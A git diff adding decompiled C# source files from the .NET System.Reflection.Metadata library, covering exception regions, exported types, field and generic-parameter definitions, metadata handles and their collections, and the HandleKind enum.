b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ExceptionRegion.cs new file mode 100644 index 0000000..d4469d2 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ExceptionRegion.cs @@ -0,0 +1,60 @@ +namespace System.Reflection.Metadata; + +public readonly struct ExceptionRegion +{ + private readonly ExceptionRegionKind _kind; + + private readonly int _tryOffset; + + private readonly int _tryLength; + + private readonly int _handlerOffset; + + private readonly int _handlerLength; + + private readonly int _classTokenOrFilterOffset; + + public ExceptionRegionKind Kind => _kind; + + public int TryOffset => _tryOffset; + + public int TryLength => _tryLength; + + public int HandlerOffset => _handlerOffset; + + public int HandlerLength => _handlerLength; + + public int FilterOffset + { + get + { + if (Kind != ExceptionRegionKind.Filter) + { + return -1; + } + return _classTokenOrFilterOffset; + } + } + + public EntityHandle CatchType + { + get + { + if (Kind != ExceptionRegionKind.Catch) + { + return default(EntityHandle); + } + return new EntityHandle((uint)_classTokenOrFilterOffset); + } + } + + internal ExceptionRegion(ExceptionRegionKind kind, int tryOffset, int tryLength, int handlerOffset, int handlerLength, int classTokenOrFilterOffset) + { + _kind = kind; + _tryOffset = tryOffset; + _tryLength = tryLength; + _handlerOffset = handlerOffset; + _handlerLength = handlerLength; + _classTokenOrFilterOffset = classTokenOrFilterOffset; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ExceptionRegionKind.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ExceptionRegionKind.cs new file mode 100644 index 0000000..1648f29 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ExceptionRegionKind.cs @@ -0,0 +1,9 @@ +namespace System.Reflection.Metadata; + +public enum ExceptionRegionKind : ushort +{ + Catch = 0, + Filter = 1, + Finally = 2, + Fault = 4 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ExportedType.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ExportedType.cs new file mode 100644 index 0000000..b652544 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ExportedType.cs @@ -0,0 +1,43 @@ +namespace System.Reflection.Metadata; + +public readonly struct ExportedType +{ + internal readonly MetadataReader reader; + + internal readonly int rowId; + + private ExportedTypeHandle Handle => ExportedTypeHandle.FromRowId(rowId); + + public TypeAttributes Attributes => reader.ExportedTypeTable.GetFlags(rowId); + + public bool IsForwarder + { + get + { + if (Attributes.IsForwarder()) + { + return Implementation.Kind == HandleKind.AssemblyReference; + } + return false; + } + } + + public StringHandle Name => reader.ExportedTypeTable.GetTypeName(rowId); + + public StringHandle Namespace => reader.ExportedTypeTable.GetTypeNamespaceString(rowId); + + public NamespaceDefinitionHandle NamespaceDefinition => reader.ExportedTypeTable.GetTypeNamespace(rowId); + + public EntityHandle Implementation => reader.ExportedTypeTable.GetImplementation(rowId); + + internal ExportedType(MetadataReader reader, int rowId) + { + this.reader = reader; + this.rowId = rowId; + } + + public CustomAttributeHandleCollection GetCustomAttributes() + { + return new CustomAttributeHandleCollection(reader, Handle); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ExportedTypeHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ExportedTypeHandle.cs new file mode 100644 index 0000000..b7a39e6 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ExportedTypeHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct ExportedTypeHandle : IEquatable +{ + private const uint tokenType = 654311424u; + + private const byte tokenTypeSmall = 39; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private ExportedTypeHandle(int rowId) + { + _rowId = rowId; + } + + internal static ExportedTypeHandle FromRowId(int rowId) + { + return new ExportedTypeHandle(rowId); + } + + public static implicit operator Handle(ExportedTypeHandle handle) + { + return new Handle(39, handle._rowId); + } + + public static implicit operator EntityHandle(ExportedTypeHandle handle) + { + return new EntityHandle((uint)(0x27000000uL | (ulong)handle._rowId)); + } + + public static explicit operator ExportedTypeHandle(Handle handle) + { + if (handle.VType != 39) + { + Throw.InvalidCast(); + } + return new ExportedTypeHandle(handle.RowId); + } + + public static explicit operator ExportedTypeHandle(EntityHandle handle) + { + if (handle.VType != 654311424) + { + Throw.InvalidCast(); + } + return new ExportedTypeHandle(handle.RowId); + } + + public static bool operator ==(ExportedTypeHandle left, ExportedTypeHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is ExportedTypeHandle) + { + return ((ExportedTypeHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(ExportedTypeHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(ExportedTypeHandle left, ExportedTypeHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ExportedTypeHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ExportedTypeHandleCollection.cs new file mode 100644 index 0000000..5e7e24f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ExportedTypeHandleCollection.cs @@ -0,0 +1,70 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct ExportedTypeHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public ExportedTypeHandle Current => ExportedTypeHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + + object IEnumerator.Current => Current; + + internal Enumerator(int lastRowId) + { + _lastRowId = lastRowId; + _currentRowId = 0; + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly int _lastRowId; + + public int Count => _lastRowId; + + internal ExportedTypeHandleCollection(int lastRowId) + { + _lastRowId = lastRowId; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/FieldDefinition.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/FieldDefinition.cs new file mode 100644 index 0000000..66385c9 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/FieldDefinition.cs @@ -0,0 +1,135 @@ +using System.Reflection.Metadata.Ecma335; + +namespace System.Reflection.Metadata; + +public readonly struct FieldDefinition +{ + private readonly MetadataReader _reader; + + private readonly uint _treatmentAndRowId; + + private int RowId => (int)(_treatmentAndRowId & 0xFFFFFF); + + private FieldDefTreatment Treatment => (FieldDefTreatment)(_treatmentAndRowId >> 24); + + private FieldDefinitionHandle Handle => FieldDefinitionHandle.FromRowId(RowId); + + public StringHandle Name + { + get + { + if (Treatment == FieldDefTreatment.None) + { + return _reader.FieldTable.GetName(Handle); + } + return GetProjectedName(); + } + } + + public FieldAttributes Attributes + { + get + { + if (Treatment == FieldDefTreatment.None) + { + return _reader.FieldTable.GetFlags(Handle); + } + return GetProjectedFlags(); + } + } + + public BlobHandle Signature + { + get + { + if (Treatment == FieldDefTreatment.None) + { + return _reader.FieldTable.GetSignature(Handle); + } + return GetProjectedSignature(); + } + } + + internal FieldDefinition(MetadataReader reader, uint treatmentAndRowId) + { + _reader = reader; + _treatmentAndRowId = treatmentAndRowId; + } + + public TType DecodeSignature(ISignatureTypeProvider provider, TGenericContext genericContext) + { + SignatureDecoder signatureDecoder = new SignatureDecoder(provider, _reader, genericContext); + BlobReader blobReader = _reader.GetBlobReader(Signature); + return signatureDecoder.DecodeFieldSignature(ref blobReader); + } + + public TypeDefinitionHandle GetDeclaringType() + { + return _reader.GetDeclaringType(Handle); + } + + public ConstantHandle GetDefaultValue() + { + return _reader.ConstantTable.FindConstant(Handle); + } + + public int GetRelativeVirtualAddress() + { + int num = _reader.FieldRvaTable.FindFieldRvaRowId(Handle.RowId); + if (num == 0) + { + return 0; + } + return _reader.FieldRvaTable.GetRva(num); + } + + public int GetOffset() + { + int num = _reader.FieldLayoutTable.FindFieldLayoutRowId(Handle); + if (num == 0) + { + return -1; + } + uint offset = _reader.FieldLayoutTable.GetOffset(num); + if (offset > int.MaxValue) + { + return -1; + } + return (int)offset; + } + + public BlobHandle GetMarshallingDescriptor() + { + int num = _reader.FieldMarshalTable.FindFieldMarshalRowId(Handle); + if (num == 0) + { + return default(BlobHandle); + } + return _reader.FieldMarshalTable.GetNativeType(num); + } + + public CustomAttributeHandleCollection GetCustomAttributes() + { + return new CustomAttributeHandleCollection(_reader, Handle); + } + + private StringHandle GetProjectedName() + { + return _reader.FieldTable.GetName(Handle); + } + + private FieldAttributes GetProjectedFlags() + { + FieldAttributes flags = _reader.FieldTable.GetFlags(Handle); + if (Treatment == FieldDefTreatment.EnumValue) + { + return (flags & ~FieldAttributes.FieldAccessMask) | FieldAttributes.Public; + } + return flags; + } + + private BlobHandle GetProjectedSignature() + { + return _reader.FieldTable.GetSignature(Handle); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/FieldDefinitionHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/FieldDefinitionHandle.cs new file mode 100644 index 0000000..339626e --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/FieldDefinitionHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct FieldDefinitionHandle : IEquatable +{ + private const uint tokenType = 67108864u; + + private const byte tokenTypeSmall = 4; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private FieldDefinitionHandle(int rowId) + { + _rowId = rowId; + } + + internal static FieldDefinitionHandle FromRowId(int rowId) + { + return new FieldDefinitionHandle(rowId); + } + + public static implicit operator Handle(FieldDefinitionHandle handle) + { + return new Handle(4, handle._rowId); + } + + public static implicit operator EntityHandle(FieldDefinitionHandle handle) + { + return new EntityHandle((uint)(0x4000000uL | (ulong)handle._rowId)); + } + + public static explicit operator FieldDefinitionHandle(Handle handle) + { + if (handle.VType != 4) + { + Throw.InvalidCast(); + } + return new FieldDefinitionHandle(handle.RowId); + } + + public static explicit operator FieldDefinitionHandle(EntityHandle handle) + { + if (handle.VType != 67108864) + { + Throw.InvalidCast(); + } + return new FieldDefinitionHandle(handle.RowId); + } + + public static bool operator ==(FieldDefinitionHandle left, FieldDefinitionHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is FieldDefinitionHandle) + { + return ((FieldDefinitionHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(FieldDefinitionHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(FieldDefinitionHandle left, FieldDefinitionHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/FieldDefinitionHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/FieldDefinitionHandleCollection.cs new file mode 100644 index 0000000..23b5828 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/FieldDefinitionHandleCollection.cs @@ -0,0 +1,100 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct FieldDefinitionHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly MetadataReader _reader; + + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public FieldDefinitionHandle Current + { + get + { + if (_reader.UseFieldPtrTable) + { + return GetCurrentFieldIndirect(); + } + return FieldDefinitionHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + } + } + + object IEnumerator.Current => Current; + + internal Enumerator(MetadataReader reader, int firstRowId, int lastRowId) + { + _reader = reader; + _currentRowId = firstRowId - 1; + _lastRowId = lastRowId; + } + + private FieldDefinitionHandle GetCurrentFieldIndirect() + { + return _reader.FieldPtrTable.GetFieldFor(_currentRowId & 0xFFFFFF); + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly MetadataReader _reader; + + private readonly int _firstRowId; + + private readonly int _lastRowId; + + public int Count => _lastRowId - _firstRowId + 1; + + internal FieldDefinitionHandleCollection(MetadataReader reader) + { + _reader = reader; + _firstRowId = 1; + _lastRowId = reader.FieldTable.NumberOfRows; + } + + internal FieldDefinitionHandleCollection(MetadataReader reader, TypeDefinitionHandle containingType) + { + _reader = reader; + reader.GetFieldRange(containingType, out _firstRowId, out _lastRowId); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_reader, _firstRowId, _lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/GenericParameter.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/GenericParameter.cs new file mode 100644 index 0000000..1921886 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/GenericParameter.cs @@ -0,0 +1,34 @@ +namespace System.Reflection.Metadata; + +public readonly struct GenericParameter +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + private GenericParameterHandle Handle => GenericParameterHandle.FromRowId(_rowId); + + public EntityHandle Parent => _reader.GenericParamTable.GetOwner(Handle); + + public GenericParameterAttributes Attributes => _reader.GenericParamTable.GetFlags(Handle); + + public int Index => _reader.GenericParamTable.GetNumber(Handle); + + public StringHandle Name => _reader.GenericParamTable.GetName(Handle); + + internal GenericParameter(MetadataReader reader, GenericParameterHandle handle) + { + _reader = reader; + _rowId = handle.RowId; + } + + public GenericParameterConstraintHandleCollection GetConstraints() + { + return _reader.GenericParamConstraintTable.FindConstraintsForGenericParam(Handle); + } + + public CustomAttributeHandleCollection GetCustomAttributes() + { + return new CustomAttributeHandleCollection(_reader, Handle); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/GenericParameterConstraint.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/GenericParameterConstraint.cs new file mode 100644 index 0000000..e106f05 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/GenericParameterConstraint.cs @@ -0,0 +1,25 @@ +namespace System.Reflection.Metadata; + +public readonly struct GenericParameterConstraint +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + private GenericParameterConstraintHandle Handle => GenericParameterConstraintHandle.FromRowId(_rowId); + + public GenericParameterHandle Parameter => _reader.GenericParamConstraintTable.GetOwner(Handle); + + public EntityHandle Type => _reader.GenericParamConstraintTable.GetConstraint(Handle); + + internal GenericParameterConstraint(MetadataReader reader, GenericParameterConstraintHandle handle) + { + _reader = reader; + _rowId = handle.RowId; + } + + public CustomAttributeHandleCollection GetCustomAttributes() + { + return new CustomAttributeHandleCollection(_reader, Handle); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/GenericParameterConstraintHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/GenericParameterConstraintHandle.cs new file mode 100644 index 0000000..a4c985f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/GenericParameterConstraintHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct GenericParameterConstraintHandle : IEquatable +{ + private const uint tokenType = 738197504u; + + private const byte tokenTypeSmall = 44; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private GenericParameterConstraintHandle(int rowId) + { + _rowId = rowId; + } + + internal static GenericParameterConstraintHandle FromRowId(int rowId) + { + return new GenericParameterConstraintHandle(rowId); + } + + public static implicit operator Handle(GenericParameterConstraintHandle handle) + { + return new Handle(44, handle._rowId); + } + + public static implicit operator EntityHandle(GenericParameterConstraintHandle handle) + { + return new EntityHandle((uint)(0x2C000000uL | (ulong)handle._rowId)); + } + + public static explicit operator GenericParameterConstraintHandle(Handle handle) + { + if (handle.VType != 44) + { + Throw.InvalidCast(); + } + return new GenericParameterConstraintHandle(handle.RowId); + } + + public static explicit operator GenericParameterConstraintHandle(EntityHandle handle) + { + if (handle.VType != 738197504) + { + Throw.InvalidCast(); + } + return new GenericParameterConstraintHandle(handle.RowId); + } + + public static bool operator ==(GenericParameterConstraintHandle left, GenericParameterConstraintHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is GenericParameterConstraintHandle) + { + return ((GenericParameterConstraintHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(GenericParameterConstraintHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(GenericParameterConstraintHandle left, GenericParameterConstraintHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/GenericParameterConstraintHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/GenericParameterConstraintHandleCollection.cs new file mode 100644 index 0000000..1f7145c --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/GenericParameterConstraintHandleCollection.cs @@ -0,0 +1,85 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct GenericParameterConstraintHandleCollection : IReadOnlyList, IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public GenericParameterConstraintHandle Current => GenericParameterConstraintHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + + object IEnumerator.Current => Current; + + internal Enumerator(int firstRowId, int lastRowId) + { + _currentRowId = firstRowId - 1; + _lastRowId = lastRowId; + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly int _firstRowId; + + private readonly ushort _count; + + public int Count => _count; + + public GenericParameterConstraintHandle this[int index] + { + get + { + if (index < 0 || index >= _count) + { + Throw.IndexOutOfRange(); + } + return GenericParameterConstraintHandle.FromRowId(_firstRowId + index); + } + } + + internal GenericParameterConstraintHandleCollection(int firstRowId, ushort count) + { + _firstRowId = firstRowId; + _count = count; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_firstRowId, _firstRowId + _count - 1); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/GenericParameterHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/GenericParameterHandle.cs new file mode 100644 index 0000000..1e84049 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/GenericParameterHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct GenericParameterHandle : IEquatable +{ + private const uint tokenType = 704643072u; + + private const byte tokenTypeSmall = 42; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private GenericParameterHandle(int rowId) + { + _rowId = rowId; + } + + internal static GenericParameterHandle FromRowId(int rowId) + { + return new GenericParameterHandle(rowId); + } + + public static implicit operator Handle(GenericParameterHandle handle) + { + return new Handle(42, handle._rowId); + } + + public static implicit operator EntityHandle(GenericParameterHandle handle) + { + return new EntityHandle((uint)(0x2A000000uL | (ulong)handle._rowId)); + } + + public static explicit operator GenericParameterHandle(Handle handle) + { + if (handle.VType != 42) + { + Throw.InvalidCast(); + } + return new GenericParameterHandle(handle.RowId); + } + + public static explicit operator GenericParameterHandle(EntityHandle handle) + { + if (handle.VType != 704643072) + { + Throw.InvalidCast(); + } + return new GenericParameterHandle(handle.RowId); + } + + public static bool operator ==(GenericParameterHandle left, GenericParameterHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is GenericParameterHandle) + { + return ((GenericParameterHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(GenericParameterHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(GenericParameterHandle left, GenericParameterHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/GenericParameterHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/GenericParameterHandleCollection.cs new file mode 100644 index 0000000..fdbf6f6 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/GenericParameterHandleCollection.cs @@ -0,0 +1,85 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct GenericParameterHandleCollection : IReadOnlyList, IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public GenericParameterHandle Current => GenericParameterHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + + object IEnumerator.Current => Current; + + internal Enumerator(int firstRowId, int lastRowId) + { + _currentRowId = firstRowId - 1; + _lastRowId = lastRowId; + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly int _firstRowId; + + private readonly ushort _count; + + public int Count => _count; + + public GenericParameterHandle this[int index] + { + get + { + if (index < 0 || index >= _count) + { + Throw.IndexOutOfRange(); + } + return GenericParameterHandle.FromRowId(_firstRowId + index); + } + } + + internal GenericParameterHandleCollection(int firstRowId, ushort count) + { + _firstRowId = firstRowId; + _count = count; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_firstRowId, _firstRowId + _count - 1); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/GuidHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/GuidHandle.cs new file mode 100644 index 0000000..5da52ff --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/GuidHandle.cs @@ -0,0 +1,65 @@ +using System.Diagnostics.CodeAnalysis; + +namespace System.Reflection.Metadata; + +public readonly struct GuidHandle : IEquatable +{ + private readonly int _index; + + public bool IsNil => _index == 0; + + internal int Index => _index; + + private GuidHandle(int index) + { + _index = index; + } + + internal static GuidHandle FromIndex(int heapIndex) + { + return new GuidHandle(heapIndex); + } + + public static implicit operator Handle(GuidHandle handle) + { + return new Handle(114, handle._index); + } + + public static explicit operator GuidHandle(Handle handle) + { + if (handle.VType != 114) + { + Throw.InvalidCast(); + } + return new GuidHandle(handle.Offset); + } + + public override bool Equals([NotNullWhen(true)] object? obj) + { + if (obj is GuidHandle other) + { + return Equals(other); + } + return false; + } + + public bool Equals(GuidHandle other) + { + return _index == other._index; + } + + public override int GetHashCode() + { + return _index; + } + + public static bool operator ==(GuidHandle left, GuidHandle right) + { + return left.Equals(right); + } + + public static bool operator !=(GuidHandle left, GuidHandle right) + { + return !left.Equals(right); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/Handle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/Handle.cs new file mode 100644 index 0000000..f94db72 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/Handle.cs @@ -0,0 +1,100 @@ +using System.Diagnostics.CodeAnalysis; + +namespace System.Reflection.Metadata; + +public readonly struct Handle : IEquatable +{ + private readonly int _value; + + private readonly byte _vType; + + public static readonly ModuleDefinitionHandle ModuleDefinition = new ModuleDefinitionHandle(1); + + public static readonly AssemblyDefinitionHandle AssemblyDefinition = new AssemblyDefinitionHandle(1); + + internal int RowId => _value; + + internal int Offset => _value; + + internal uint EntityHandleType => Type << 24; + + internal uint Type => (uint)(_vType & 0x7F); + + internal uint EntityHandleValue => (uint)((_vType << 24) | _value); + + internal uint SpecificEntityHandleValue => (uint)(((_vType & 0x80) << 24) | _value); + + internal byte VType => _vType; + + internal bool IsVirtual => (_vType & 0x80) != 0; + + internal bool IsHeapHandle => (_vType & 0x70) == 112; + + public HandleKind Kind + { + get + { + uint type = Type; + if ((type & 0xFFFFFFFCu) == 120) + { + return HandleKind.String; + } + return (HandleKind)type; + } + } + + public bool IsNil => (_value | (_vType & 0x80)) == 0; + + internal bool IsEntityOrUserStringHandle => Type <= 112; + + internal int Token => (_vType << 24) | _value; + + internal static Handle FromVToken(uint vToken) + { + return new Handle((byte)(vToken >> 24), (int)(vToken & 0xFFFFFF)); + } + + internal Handle(byte vType, int value) + { + _vType = vType; + _value = value; + } + + public override bool Equals([NotNullWhen(true)] object? obj) + { + if (obj is Handle other) + { + return Equals(other); + } + return false; + } + + public bool Equals(Handle other) + { + if (_value == other._value) + { + return _vType == other._vType; + } + return false; + } + + public override int GetHashCode() + { + return _value ^ (_vType << 24); + } + + public static bool operator ==(Handle left, Handle right) + { + return left.Equals(right); + } + + public static bool operator !=(Handle left, Handle right) + { + return !left.Equals(right); + } + + internal static int Compare(Handle left, Handle right) + { + return ((long)((uint)left._value | ((ulong)left._vType << 32))).CompareTo((long)((uint)right._value | ((ulong)right._vType << 32))); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/HandleComparer.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/HandleComparer.cs new file mode 100644 index 0000000..28af8be --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/HandleComparer.cs @@ -0,0 +1,44 @@ +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public sealed class HandleComparer : IEqualityComparer, IComparer, IEqualityComparer, IComparer +{ + private static readonly HandleComparer s_default = new HandleComparer(); + + public static HandleComparer Default => s_default; + + private HandleComparer() + { + } + + public bool Equals(Handle x, Handle y) + { + return x.Equals(y); + } + + public bool Equals(EntityHandle x, EntityHandle y) + { + return x.Equals(y); + } + + public int GetHashCode(Handle obj) + { + return obj.GetHashCode(); + } + + public int GetHashCode(EntityHandle obj) + { + return obj.GetHashCode(); + } + + public int Compare(Handle x, Handle y) + { + return Handle.Compare(x, y); + } + + public int Compare(EntityHandle x, EntityHandle y) + { + return EntityHandle.Compare(x, y); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/HandleKind.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/HandleKind.cs new file mode 100644 index 0000000..da04d67 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/HandleKind.cs @@ -0,0 +1,42 @@ +namespace System.Reflection.Metadata; + +public enum HandleKind : byte +{ + ModuleDefinition = 0, + TypeReference = 1, + TypeDefinition = 2, + FieldDefinition = 4, + MethodDefinition = 6, + Parameter = 8, + InterfaceImplementation = 9, + MemberReference = 10, + Constant = 11, + CustomAttribute = 12, + DeclarativeSecurityAttribute = 14, + StandaloneSignature = 17, + EventDefinition = 20, + PropertyDefinition = 23, + MethodImplementation = 25, + ModuleReference = 26, + TypeSpecification = 27, + AssemblyDefinition = 32, + AssemblyFile = 38, + AssemblyReference = 35, + ExportedType = 39, + GenericParameter = 42, + MethodSpecification = 43, + GenericParameterConstraint = 44, + ManifestResource = 40, + Document = 48, + MethodDebugInformation = 49, + LocalScope = 50, + LocalVariable = 51, + LocalConstant = 52, + ImportScope = 53, + CustomDebugInformation = 55, + NamespaceDefinition = 124, + UserString = 112, + String = 120, + Blob = 113, + Guid = 114 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/HandleKindExtensions.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/HandleKindExtensions.cs new file mode 100644 index 0000000..349276b --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/HandleKindExtensions.cs @@ -0,0 +1,9 @@ +namespace System.Reflection.Metadata; + +internal static class HandleKindExtensions +{ + internal static bool IsHeapHandle(this HandleKind kind) + { + return (int)kind >= 124; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/IConstructedTypeProvider.cs 